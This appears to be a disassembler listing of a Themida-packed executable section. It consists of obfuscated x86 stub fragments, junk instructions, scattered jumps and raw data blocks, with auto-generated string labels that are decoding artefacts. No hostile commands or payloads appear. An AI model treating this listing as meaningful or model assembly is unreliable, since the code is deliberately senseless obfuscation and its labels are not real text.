		dd 6BC5E95Bh, 875E0000h, 248B240Ch, 0BB0F6624h,	0E99C2404h
		dd 0FFFFE5D9h, 24048B66h, 4CB068h, 240C8900h, 3BCAE9h
		dd 28F6400h, 0FFE5C0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62A4FD:				; CODE XREF: Themida_:0062FBFBj
		xchg	esi, [esp]
		pop	esp
		push	7989h
		mov	[esp], ebp
		push	eax
		push	edi
		mov	edi, 26171EF9h
		push	edi
		push	esi
		mov	esi, 7AD20E9Eh
		sub	[esp+4], esi
		pop	esi
		pop	eax
		add	eax, 7AD20E9Eh
		pop	edi
		mov	ebp, 0F083027Fh
		add	ebp, eax
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	169A1D78h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_62A114
; ---------------------------------------------------------------------------
		db 83h,	0C0h, 2
		dd 2474FF50h, 24048B04h, 0E904C483h, 0FFFFE64Bh, 83242489h
		dd 8B042404h, 19E9243Ch
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62A573:				; CODE XREF: Themida_:0062F27Ej
		inc	edx
		add	edx, 181060FBh
		mov	ebx, edx
		pop	edx
		jmp	loc_62AE80
; ---------------------------------------------------------------------------


loc_62A582:				; CODE XREF: Themida_:00629320j
		push	esi
		mov	esi, 0A425F94Dh
		xor	edx, esi
		pop	esi
		jmp	loc_633F27
; ---------------------------------------------------------------------------
		dd 2434FF58h, 4C4835Bh,	5DF4E9h
		db 0
; ---------------------------------------------------------------------------


loc_62A59D:				; CODE XREF: Themida_:00631FFDj
		push	5EE7h
		mov	[esp], ecx
		mov	ecx, 2D48D0h
		mov	esi, ecx
		pop	ecx
		add	esi, 68926A41h
		shl	esi, 5
		jmp	loc_6314AC
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 80D6E900h, 515A0000h, 0D98E950h, 0E9530000h, 800Dh
		dd 0A2F2C281h, 75E955AFh
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62A5DF:				; CODE XREF: Themida_:00630E08j
		sub	edx, ecx
		jmp	loc_62F1DB
; ---------------------------------------------------------------------------
		dw 8952h
		dd 4C281E2h, 0E9000000h, 0AF6h
; ---------------------------------------------------------------------------


loc_62A5F4:				; CODE XREF: Themida_:0062BAA0j
		push	20h
		pop	eax
		push	edx
		push	ebx
		push	172A32CAh
		jmp	loc_62D0EE
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 0BF57533Ch, 6D915CC8h, 8105EFC1h, 5427CCCFh,	0E9D7F710h
		dd 4075h, 0B5E9E789h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62A627:				; CODE XREF: Themida_:00634C4Bj
		sub	ch, 0FFh
		sub	ch, 0DFh
		or	dl, ch
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_62F1C6
; ---------------------------------------------------------------------------
		dd 0E932FF66h, 0FFFFE47Dh, 20559h, 4330000h, 3897E924h
		dd 0C4810000h, 4, 54EFE9h, 41142D00h, 0F9E92FDCh, 5FFFFEDh
		dd 30194F8Eh, 2C0DD0F7h, 3574E202h, 74B267F6h, 28A5E9h
		dd 81DFF700h, 451D18E7h, 8831E903h, 0C4800000h,	49E9E9FDh
		dd 565A0000h, 4BEh, 0E9F20100h,	2E98h, 0B9240C89h, 4, 92C8E9h
		dd 58F28000h, 0C05AD100h, 0E9C002E1h, 80C1FE06h, 0CB20D6E9h
		dd 0B3E38059h, 0E913C380h, 4680h, 0E981D101h, 31943D95h
		dd 4C1815Ah, 33000000h,	0C31240Ch, 240C3324h, 8B24248Bh
		dd 0E9532404h, 8AA1h
; ---------------------------------------------------------------------------


loc_62A6EC:				; CODE XREF: Themida_:0062ABF6j
		mov	[esp], esi
		mov	esi, 77D40170h
		shr	esi, 1
		dec	esi
		xor	esi, 5444040Eh
		sub	esi, 6FAE04B5h
		add	eax, esi
		pop	esi
		push	ebx
		push	ebp
		jmp	loc_634D2B
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 0E9510000h, 97CFh
; ---------------------------------------------------------------------------


loc_62A71C:				; CODE XREF: Themida_:0062C3A5j
		mov	eax, 384571D2h
		jmp	loc_629B2B
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 88645C24h, 0E38BE902h, 8146FFFFh, 1732AF6h, 5EF22124h
		dd 83DAF742h, 3C8904ECh, 66DCBF24h, 0FA297EBBh,	54E6E95Fh
		dd 0C3010000h, 0FFEFDDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62A759:				; CODE XREF: Themida_:0062B076j
		mov	[esp], edi
		push	esp
		jmp	loc_62C73C
; ---------------------------------------------------------------------------
		dw 0D829h
		dd 28F12D5Bh, 0E9577999h, 90D4h
; ---------------------------------------------------------------------------


loc_62A770:				; CODE XREF: Themida_:00630252j
		mov	edx, 410E7FD0h
		sub	edx, 0FFFFFFFFh
		or	edx, 7D474C02h
		neg	edx
		sub	edx, 55B0685Ch
		add	eax, 336C1FAFh
		add	eax, edx
		push	edx
		jmp	loc_62E796
; ---------------------------------------------------------------------------
		dw 3B68h
		dd 8900006Ch, 0B252241Ch, 309DB3A8h, 5735E9D3h,	0BF570000h
		dd 23913894h, 987AE9h, 88193400h, 58E958C2h, 8B000044h
		dd 0E6E9243Ch
		db 0A1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_62A7C7:				; CODE XREF: Themida_:0062F185j
		or	edi, edx
		pop	edx
		add	edi, 8012C245h
		jmp	loc_62FBA8
; ---------------------------------------------------------------------------


loc_62A7D5:				; CODE XREF: Themida_:0062D745j
		pop	esp
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0DFh, 0E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62A7DE:				; CODE XREF: Themida_:0063162Cj
		sub	eax, ebx
		jmp	loc_634CA1
; ---------------------------------------------------------------------------


loc_62A7E5:				; CODE XREF: Themida_:00632561j
		push	511Eh
		mov	[esp], eax
		push	ebp
		mov	ebp, 483F28F4h
		push	edi
		mov	edi, ebp
		push	72F3h
		mov	[esp], edi
		add	dword ptr [esp], 20B73529h
		pop	eax
		sub	eax, 20B73529h
		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		and	eax, 4B202FF0h
		not	eax
		add	eax, 0FFFFFFFFh
		jmp	loc_62DB9E
; ---------------------------------------------------------------------------
aT_sk		db 'T_k$',0
		align 4
		dd 4247C29h, 0FFE827E9h, 24048FFFh, 8924248Bh, 0E589242Ch
		dd 4C581h, 0E9560000h, 104Eh, 0F2E94048h, 0FF00001Fh, 51582434h
		dd 240C8B54h, 4C481h, 0BF570000h, 1CB9626Eh, 5C2CF81h
		dd 0F7810BDEh, 1FFF67EAh, 21E9F901h, 0F600005Ah, 5AF088D6h
		dd 0EB807D04h, 6177E9BEh, 0C3000000h, 0E98DEB80h, 6781h
		dd 0E9242C8Bh, 950h, 23D2685Fh,	34890000h, 2404FF24h, 7B0AE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62A8AA:				; CODE XREF: Themida_:0062F0B4j
		push	dx
		jmp	loc_62F416
; ---------------------------------------------------------------------------
		align 2
		dw 4C8h
		dd 0E1895148h, 4C181h, 0E9810000h, 4, 8B240C87h, 1C892424h
		dd 3ADAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62A8D2:				; CODE XREF: Themida_:0062D7AFj
		xor	edi, [esp]
		pop	esp
		push	eax
		mov	al, 2Dh
		push	edx
		mov	dh, 5Ch
		sub	dh, 0D9h
		xor	dh, 18h
		and	al, dh
		pop	edx
		push	ebx
		mov	bh, 2Dh
		not	bh
		shl	bh, 5
		xor	bh, 17h
		sub	bh, 8Dh
		jmp	loc_62F0B9
; ---------------------------------------------------------------------------
		dd 51E9F75Ch, 0F946E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62A902:				; CODE XREF: Themida_:006314DBj
		mov	bl, 3Ch
		jmp	loc_634B68
; ---------------------------------------------------------------------------
aIbsaVSK	db 'I',0Ah
		db 'V]鿊',0
		dd 2434FF00h, 1AAE9h, 24048100h, 4, 4C2815Ah
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_631191
; ---------------------------------------------------------------------------
		db 58h
		dd 13E968h, 242C8900h, 2BDh, 5DF9E900h,	0F5810000h, 489F7412h
		dd 9F7DE9h
		db 0
; ---------------------------------------------------------------------------


loc_62A951:				; CODE XREF: Themida_:0062DBC6j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_635210
; ---------------------------------------------------------------------------
aSA		db ']',8,'',0
		align 10h


loc_62A960:				; CODE XREF: Themida_:00631DD4j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_629099
; ---------------------------------------------------------------------------
aSB		db '[\',0
		align 2


loc_62A97A:				; CODE XREF: Themida_:00634CFAj
		mov	[esp], ebx
		xor	dword ptr [esp], 429F5B9Dh
		mov	ebx, [esp]
		push	ebp
		jmp	loc_633397
; ---------------------------------------------------------------------------


loc_62A98D:				; CODE XREF: Themida_:00631408j
		not	ebp
		and	ebp, 42311BF6h
		jmp	loc_62BB84
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 28DF44B9h, 4508EDC1h, 7DF2C581h, 54E98DD8h, 89000046h
		dd 0DD68243Ch, 5F2AE36Ah, 0D780F781h, 0FB896988h, 8BD8315Fh
		dd 0C481241Ch, 4, 6BDBBD55h, 0EDC10753h, 81D5F706h, 762808CDh
		dd 37A3E917h, 0E95C0000h, 3C64h
; ---------------------------------------------------------------------------


loc_62A9E8:				; CODE XREF: Themida_:00634080j
		xor	al, 8Fh
		jmp	loc_6327E3
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 3629h, 83242C89h,	248904ECh, 24048324h, 0BA525D04h
		dd 0D203622h, 8111E942h, 0BE560000h, 2,	875EF501h, 1E9242Ch
		dd 0B9000080h, 6D22F80h, 0F1814941h, 5DE47ECh, 0A4DAE9h
		dd 0E9008F00h, 0FFFFE081h, 6866CAFEh, 89663CFCh, 0F0B42404h
		dd 5866E228h, 535AD028h, 6851B7h, 52000000h, 8013B753h
		dd 0FE8828C7h, 2474005Bh, 24148B04h, 0FFFB79E9h, 55E681FFh
		dd 0D1635878h, 3E6C1E6h, 0C681E6D1h, 0BEFEF564h, 0E95EF189h
		dd 84CCh, 4D5AD521h, 1E75C581h,	0DA050A4Ah, 0E95CC939h
		dd 9B38h
; ---------------------------------------------------------------------------


loc_62AA9C:				; CODE XREF: Themida_:00634A86j
		shr	edx, 2
		inc	edx
		add	edx, 35D67113h
		jmp	loc_634472
; ---------------------------------------------------------------------------


loc_62AAAB:				; CODE XREF: Themida_:00630606j
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		jmp	loc_6311E0
; ---------------------------------------------------------------------------
		dd 60E9EB01h, 5800000Fh, 4C481h, 302D0000h, 2D79A378h
		dd 36A12891h, 9105F001h, 5736A128h, 0A37830BFh,	5FF80179h
		dd 1290E95Eh, 525E0000h, 6BF26857h, 815F7A03h, 886F15F7h
		dd 0FD895528h, 0A172E955h, 8B660000h, 54572404h, 83243C8Bh
		dd 6D6804C4h, 89000030h, 5FBA2414h, 501C7202h, 5168C2B8h
		dd 68092D62h, 0C2092486h, 0E0C2E958h, 0FA01FFFFh, 7E4EE95Fh
		dd 31AD0000h, 0C70E9D8h, 815E0000h, 4C6h, 4BD5500h, 29000000h
		dd 89A8E9EEh, 34FF0000h, 2434FF24h, 0E924048Bh,	3C11h
		dd 4068F9F7h, 0E9000031h, 0FFFFF58Ah, 2CB45051h, 8158E588h
		dd 4ECh, 5991E900h, 5A5D0000h, 4EC81h, 4890000h, 4A06B824h
		dd 2CE92DA0h, 0FF000048h, 0FF042474h, 51582434h, 0B850E189h
		dd 4, 0F3C181h,	0E95041A2h, 54BFh, 240C8B66h, 0EF29E950h
		dd 5250FFFFh, 4B46BB6h,	665AF400h, 2886B353h, 885B66DCh
		dd 6858E6h, 28000000h, 348A2434h, 4C48324h, 0E90CC680h
		dd 0FFFFFBAEh, 0E9D8295Ah, 12Ch
; ---------------------------------------------------------------------------


loc_62ABF0:				; CODE XREF: Themida_:0062F123j
		sub	esp, 4
		jmp	loc_62A6EC
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 815Ch, 548D0F7h,	64545912h, 0E958C329h
		dd 0FFFFF7BCh, 8124248Bh, 4ECh,	0E538E900h, 8B66FFFFh
		dd 5DE92414h, 5B000096h, 8904EC83h, 0FCE92434h,	5A000078h
		dd 0C381EB01h, 4E1270F4h, 1E74E9h, 0C8B6600h, 5B545324h
		dd 1258E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62AC52:				; CODE XREF: Themida_:0062D047j
		add	ecx, 4
		push	edi
		push	ebx
		push	74613FB0h
		pop	ebx
		xor	ebx, 74613FB4h
		mov	edi, ebx
		pop	ebx
		jmp	loc_628BC8
; ---------------------------------------------------------------------------


loc_62AC6E:				; CODE XREF: Themida_:00635125j
		pop	esi
		pop	ebx
		jmp	loc_62C474
; ---------------------------------------------------------------------------
aXsx		db 'X}',0
		dw 8900h
		dd 0B3B82404h, 6841036Ah, 8C2h,	0BA241489h, 55DC2746h
		dd 0FB7BF57h, 27E963DFh, 5C00001Dh, 9C240409h, 0FFDE18E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62ACA5:				; CODE XREF: Themida_:00631F87j
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		push	1F2h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	ebx
		jmp	loc_634590
; ---------------------------------------------------------------------------
		dd 875AD501h, 248B242Ch, 32906824h, 3C890000h, 0B37E924h
		dd 0E3810000h, 7A9F6087h, 0F381D3F7h, 0FF72FF7Ch, 0E95BDD01h
		dd 64Eh
; ---------------------------------------------------------------------------


loc_62ACF4:				; CODE XREF: Themida_:0062C135j
		dec	ecx
		not	ecx
		jmp	loc_632499
; ---------------------------------------------------------------------------
aBS6zbP4esI	db '~6zp4e#',0
		dd 1C77FF00h, 0D259669Dh, 0E99C241Ch, 63A0h, 1591055Bh
		dd 67E938A6h, 5000000Ch, 405E089h, 5000000h, 4,	14BF68h
		dd 24048900h, 42474FFh,	8324048Bh, 48F04C4h, 2C815C24h
		dd 4F7BB124h, 9241E929h, 68580000h, 7366h, 54243C89h, 5F2434FFh
		dd 815A5452h, 4C2h, 4C28100h, 87000000h, 23E92414h
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_62AD7B:				; CODE XREF: Themida_:0062D69Ej
		add	eax, 19D6203Ah
		jmp	loc_6304A9
; ---------------------------------------------------------------------------


loc_62AD85:				; CODE XREF: Themida_:006349CBj
		add	edi, 16616E6h
		jmp	loc_631BC5
; ---------------------------------------------------------------------------
		dd 2CF3EA81h, 72E956EFh, 8F000054h, 0B8504047h,	6EC30C5Eh
		dd 285C180Dh, 2B6A0D75h, 0E9932116h, 61A4h, 3FDC8B05h
		dd 58C301DBh, 6A1768h, 24048900h, 4B8h,	58C30100h, 31241C33h
		dd 1C33241Ch, 24248B24h, 68C8B70Fh, 7906h, 0E9240C89h
		dd 0FFFFDCD5h, 7DE9E689h, 810000A0h, 63D839F1h,	0E9CF2104h
		dd 0FFFFE993h, 4EC81h, 0C890000h, 1C6824h, 81590000h, 0FE4551C1h
		dd 15E98126h, 17F641Fh,	15C181F9h, 817F641Fh, 4ECh, 8FB4E900h
		dd 0C3830000h, 241C8704h, 0ED814D5Ch, 26002CFEh, 68DDE950h
		dd 0C3810000h, 2D625647h, 0EB81EB29h, 2D625647h, 74FF535Dh
		dd 8F5B0424h, 0E95C2404h, 0FFFFDD3Bh, 9D1C77FFh, 4185866h
		dd 0F3E99C24h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62AE6B:				; CODE XREF: Themida_:0062FD6Aj
		push	esp
		jmp	loc_62F163
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 6624248Bh, 0E9240C8Bh, 66FBh
; ---------------------------------------------------------------------------


loc_62AE80:				; CODE XREF: Themida_:0062A57Dj
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	171Bh
		jmp	loc_62B691
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFDC1Dh
; ---------------------------------------------------------------------------


loc_62AEA0:				; CODE XREF: Themida_:0062F228j
		add	ebp, edx
		jmp	loc_62BA84
; ---------------------------------------------------------------------------


loc_62AEA7:				; CODE XREF: Themida_:006323AFj
		push	dword ptr [esp]
		pop	ebx
		push	6C47h
		mov	[esp], eax
		jmp	loc_62E34E
; ---------------------------------------------------------------------------
		dd 269E981h, 71E946ADh,	89000029h, 2B1E9F2h, 0EB800000h
		dd 59EB3004h, 9B2C602Ch, 8A7E9h
		db 0
; ---------------------------------------------------------------------------


loc_62AED9:				; CODE XREF: Themida_:00629C4Bj
		sub	edi, 10A51FD7h
		sub	edi, edx
		add	edi, 10A51FD7h
		mov	edx, [esp]
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_632990
; ---------------------------------------------------------------------------
		dd 79C7814Fh, 47337547h, 6E12CF81h, 0E9517C83h,	6363h
; ---------------------------------------------------------------------------


loc_62AF14:				; CODE XREF: Themida_:0062E393j
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_62C37E
; ---------------------------------------------------------------------------


loc_62AF1F:				; CODE XREF: Themida_:0063482Bj
		push	dword ptr [esp]
		jmp	loc_633A27
; ---------------------------------------------------------------------------
		db 53h
		dd 0FD88C788h, 0E92A885Bh, 286Ah, 3304C483h, 2C31242Ch
		dd 242C3324h, 0DE98E95Ch, 0E981FFFFh, 25D04DAAh, 244C015Eh
		dd 240C8B04h, 4C481h, 2FE90000h, 83FFFFF7h, 0E6C1FFEEh
		dd 0DBE3E905h, 0C828FFFFh, 34FF512Ch, 240C8B24h, 56E78957h
		dd 4BEh, 5EF70100h, 5704C783h, 42474FFh, 24048F5Fh, 0FFDEFAE9h
		dd 51BEB7FFh, 0EA88FD88h, 0E2C05B59h, 717F6802h, 0ECE90000h
		dd 88000042h, 0F8C9E9C6h, 248BFFFFh, 4896624h, 29ECE924h
		dd 0E9810000h, 51746A0Eh, 7CF4E9h, 1CF76600h, 0EEE99C24h
		dd 83FFFFDAh, 1C8904ECh, 81E38924h, 4C3h, 4EB8100h, 87000000h
		dd 248B241Ch, 24048924h, 4B8h, 0F5C28100h, 15BF404h, 0F5EA81C2h
		dd 8B5BF404h, 0C4832404h, 24143304h, 56C4E9h, 0C1814900h
		dd 758A7BC8h, 4F34C181h, 0C9812826h, 7FBC5DF6h,	1A99F181h
		dd 0C4E958E6h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62B02B:				; CODE XREF: Themida_:0062B729j
		mov	ecx, 778797Eh
		mov	esi, 0CDE9E06h
		sub	esi, ecx
		pop	ecx
		push	ebx
		mov	ebx, 177438CEh
		jmp	loc_633930
; ---------------------------------------------------------------------------


loc_62B043:				; CODE XREF: Themida_:0062D799j
		or	ebp, 78A710BEh
		add	ebp, 4A2D6B3Dh
		inc	ebp
		xor	ebp, 80739A7Bh
		sub	ecx, ebp
		pop	ebp
		xchg	ebx, ecx
		jmp	loc_631DE1
; ---------------------------------------------------------------------------
aVSH		db 'V:/h',0
		dw 5900h
		dd 28F2E9h
		db 0
; ---------------------------------------------------------------------------


loc_62B071:				; CODE XREF: Themida_:00631FE0j
		push	2BA5h
		jmp	loc_62A759
; ---------------------------------------------------------------------------


loc_62B07B:				; CODE XREF: Themida_:0062C059j
		add	esp, 4
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		pop	eax
		sub	esp, 4
		jmp	loc_63255E
; ---------------------------------------------------------------------------
		db 81h
		dd 0F8A359EEh, 0E9F00105h, 53DCh, 0F24248Bh, 0BE9C8BEh
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62B0AB:				; CODE XREF: Themida_:00633188j
		add	eax, 2
		xchg	eax, [esp]
		pop	esp
		mov	fs:[edx], ax
		jmp	loc_628ABD
; ---------------------------------------------------------------------------
		db 33h
		dd 0FF5C2414h, 0D9F7E930h, 34FFFFFFh, 1F8EE924h, 0EAE90000h
		dd 5EFFFFD9h, 0E9241C87h, 92F8h, 240C8B66h, 1FAA68h, 0DACDE900h
		dd 0C281FFFFh, 4, 5900E9h
		db 0
; ---------------------------------------------------------------------------


loc_62B0F5:				; CODE XREF: Themida_:0062B6E2j
		xor	esi, [eax]
		pop	eax
		push	ecx
		mov	ecx, 24h
		jmp	loc_630A88
; ---------------------------------------------------------------------------
		db 89h
		dd 0B850243Ch, 2A5852B0h, 3EE9C789h, 8900000Eh,	0E789243Ch
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 0B1240C89h, 11E9805Fh
		dd 0FFDF07E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62B135:				; CODE XREF: Themida_:00632DC2j
		sub	edx, 73F381DEh
		xor	edx, 60F0562Ch
		shr	edx, 5
		shl	edx, 1
		jmp	loc_62D84F
; ---------------------------------------------------------------------------


loc_62B14B:				; CODE XREF: Themida_:00634043j
		xchg	edi, [esp]
		mov	esp, [esp]
		push	7ED1h
		mov	[esp], edi
		push	800h
		jmp	loc_630FD5
; ---------------------------------------------------------------------------
		db 89h
		dd 0C1815FFBh, 70F44B18h, 0B850D901h, 70F44B18h, 15E9C129h
		dd 5EFFFFF4h, 5AD6015Bh, 4C681h, 85E90000h, 0BE000094h
		dd 7E1563Fh, 0A9C5C681h, 0F301F81Eh, 0B850525Eh, 2, 8158C289h
		dd 0EF2C03C3h, 0AEEB8135h, 12F7F2Bh, 0AEC381D3h, 682F7F2Bh
		dd 3E68h, 68243489h, 577B5CC4h,	3323E9h, 6CEB8100h, 296A8243h
		dd 6CC381F3h, 8B6A8243h, 0C4812434h, 4,	0E9241C87h, 4181h
		dd 4C481h, 48E90000h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62B1F3:				; CODE XREF: Themida_:0062CA49j
		xor	bl, 0B4h
		add	dl, bl
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	bl, 31h
		sub	bl, dl
		sub	bl, 31h
		mov	edx, [esp]
		jmp	loc_63199C
; ---------------------------------------------------------------------------


loc_62B20F:				; CODE XREF: Themida_:006333A6j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	ebx, 429F5B9Dh
		jmp	loc_628ABD
; ---------------------------------------------------------------------------
		db 43h,	0E9h, 0BDh
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62B233:				; CODE XREF: Themida_:0062DB35j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_633596
; ---------------------------------------------------------------------------


loc_62B240:				; CODE XREF: Themida_:0062FFA2j
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		push	5B86h
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_62F5A4
; ---------------------------------------------------------------------------


loc_62B26C:				; CODE XREF: Themida_:0062DDBDj
		push	ebx
		jmp	loc_63497C
; ---------------------------------------------------------------------------
aU1csL		db '1l',0
		align 4
aHLZ_sX		db 'hlZ_X',0
		dw 5B00h
		dd 8B24048Fh, 89662424h, 88E92414h, 81000005h, 3D6A66C9h
		dd 4E1C167h, 97F4F181h,	0CB291868h, 3ECE9h
		db 0
; ---------------------------------------------------------------------------


loc_62B2AD:				; CODE XREF: Themida_:006298BFj
		push	3D10h
		mov	[esp], edx
		jmp	loc_632BDC
; ---------------------------------------------------------------------------
		dw 804h
		dd 0B753D800h, 5BF82808h, 463FE9h, 1C77FF00h, 0D259669Dh
		dd 0E99C2414h, 57ABh, 8159CA89h, 0A3211C3h, 2B05E964h
		dd 0D2F70000h, 68CA814Ah, 571B3A49h, 853605BFh,	3EFC132h
		dd 233DC781h, 0FA3119ABh, 0E6FAE95Fh, 34FFFFFFh, 4F2DE924h
		dd 0E8890000h, 5D2434FFh, 0E904C483h, 79D9h
; ---------------------------------------------------------------------------


loc_62B31C:				; CODE XREF: Themida_:006299B4j
		push	ebx
		push	ebp
		pop	ebx
		jmp	loc_632890
; ---------------------------------------------------------------------------
		dd 0E906E8C1h, 733Eh, 4BFh, 0FFFD0100h,	0E95F2434h, 0FFFFFBF8h
; ---------------------------------------------------------------------------


loc_62B33C:				; CODE XREF: Themida_:00628EC1j
		pop	edx
		jmp	loc_62B92F
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 24248B24h, 7FE9F1F7h, 89000017h, 64E468E1h, 14890000h
		dd 2528E924h, 1C890000h, 0E8F6E924h, 0CB8FFFFh,	897F1E2Bh
		dd 63CE9C1h, 14870000h,	3C895C24h, 0EC835024h, 432DE904h
		dd 0C890000h, 68F5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62B38A:				; CODE XREF: Themida_:00634EEBj
		mov	esi, esp
		push	ecx
		mov	ecx, 722672Dh
		push	edi
		mov	edi, 27B41092h
		jmp	loc_62BE58
; ---------------------------------------------------------------------------
		db 81h,	0E2h, 5Dh
		dd 81043310h, 485F6DC2h, 7EF2810Fh, 1137B5Fh, 3F61E9D3h
		dd 0D0290000h, 9CCEE9h,	66C80000h, 0B53E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62B3C6:				; CODE XREF: Themida_:0062CC1Fj
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, 1
		jmp	loc_62C0ED
; ---------------------------------------------------------------------------
		dd 4B850h, 4CE90000h, 8100004Eh, 0D004246Ch, 8132730Dh
		dd 9604246Ch, 1345503h,	81042444h, 96042444h, 0E9345503h
		dd 50D2h, 8904EC83h, 70BB241Ch,	0E92F2D12h, 60A3h, 0DFE95B66h
		dd 89000020h, 7DE92434h, 55h, 0FFEAE9D9h, 0EBC1FFFFh, 63D3E902h
		dd 0C4810000h, 4, 5C243487h, 8575E9h, 50E95000h, 35000053h
		dd 3BBC66CFh, 158C201h,	0CFEA81F2h, 5E237940h, 8704C283h
		dd 575C2414h, 315DE9h, 24348B00h, 4C481h, 0CAE90000h, 68000021h
		dd 6554h, 0E9243489h, 0FFFFF964h
; ---------------------------------------------------------------------------


loc_62B484:				; CODE XREF: Themida_:0062DBAAj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		and	eax, ebx
		pop	ebx
		or	edx, eax
		jmp	loc_62F4AD
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0D1E9FDB6h, 0B8FFFFE5h, 2, 5158C101h, 42474FFh, 24048F59h
		dd 48B665Ch, 0E0895024h, 63AE9h, 3F27B800h, 95E921D2h
		dd 66000037h, 0E9240C8Bh, 3CC7h, 2EC48059h, 0E9E4ED80h
		dd 5110h, 2C91E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62B4E2:				; CODE XREF: Themida_:0062BC2Ej
		sub	cl, 43h
		push	edx
		mov	dl, 0D8h
		inc	dl
		inc	dl
		or	dl, 97h
		xor	dl, 0DEh
		xor	cl, dl
		pop	edx
		xor	cl, 0ADh
		jmp	loc_6297A0
; ---------------------------------------------------------------------------
aZ1SZ		db '^<$\1]',0
		db 0
; ---------------------------------------------------------------------------


loc_62B509:				; CODE XREF: Themida_:0062C2A3j
		push	eax
		not	byte ptr [esp+1]
		pop	eax
		sub	ah, 0C1h
		jmp	loc_62D02C
; ---------------------------------------------------------------------------
aHpu		db '\hU',0
		dd 242C8900h, 4BDh, 78F2E900h, 0CF050000h, 50D7A96Dh, 8324148Bh
		dd 0E95804C4h, 51DCh, 0C581D501h, 432B4B9Eh, 0E924148Bh
		dd 32E4h
; ---------------------------------------------------------------------------


loc_62B54C:				; CODE XREF: Themida_:00634350j
		mov	ah, bl
		mov	ch, ah
		jmp	loc_629B58
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 81h
		dd 89428529h, 24048BC3h, 4C481h, 5C290000h, 515B0424h
		dd 7703C5B9h, 997AE97Fh, 0CA080000h, 80DAF659h,	0D0305CF2h
		dd 6DEBE9h, 2DD00100h, 76954FA7h, 619DE9h
		db 0
; ---------------------------------------------------------------------------


loc_62B591:				; CODE XREF: Themida_:00630655j
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shr	ecx, 0Bh
		push	4151h
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_62C4D5
; ---------------------------------------------------------------------------
		dd 788068h, 243C8900h, 79C8E954h, 15A0000h, 143359CAh
		dd 24143124h, 0E9241433h, 0FFFFF6CBh
; ---------------------------------------------------------------------------


loc_62B5D0:				; CODE XREF: Themida_:00628BD8j
		push	ecx
		jmp	loc_62F576
; ---------------------------------------------------------------------------
		dw 0B35h
		dd 0E9DDE69Eh, 6818h, 0FFD4D8E9h, 98EE81FFh, 112403Fh
		dd 98C681DEh, 0E912403Fh, 7850h
; ---------------------------------------------------------------------------


loc_62B5F8:				; CODE XREF: Themida_:00629892j
		pop	ebp
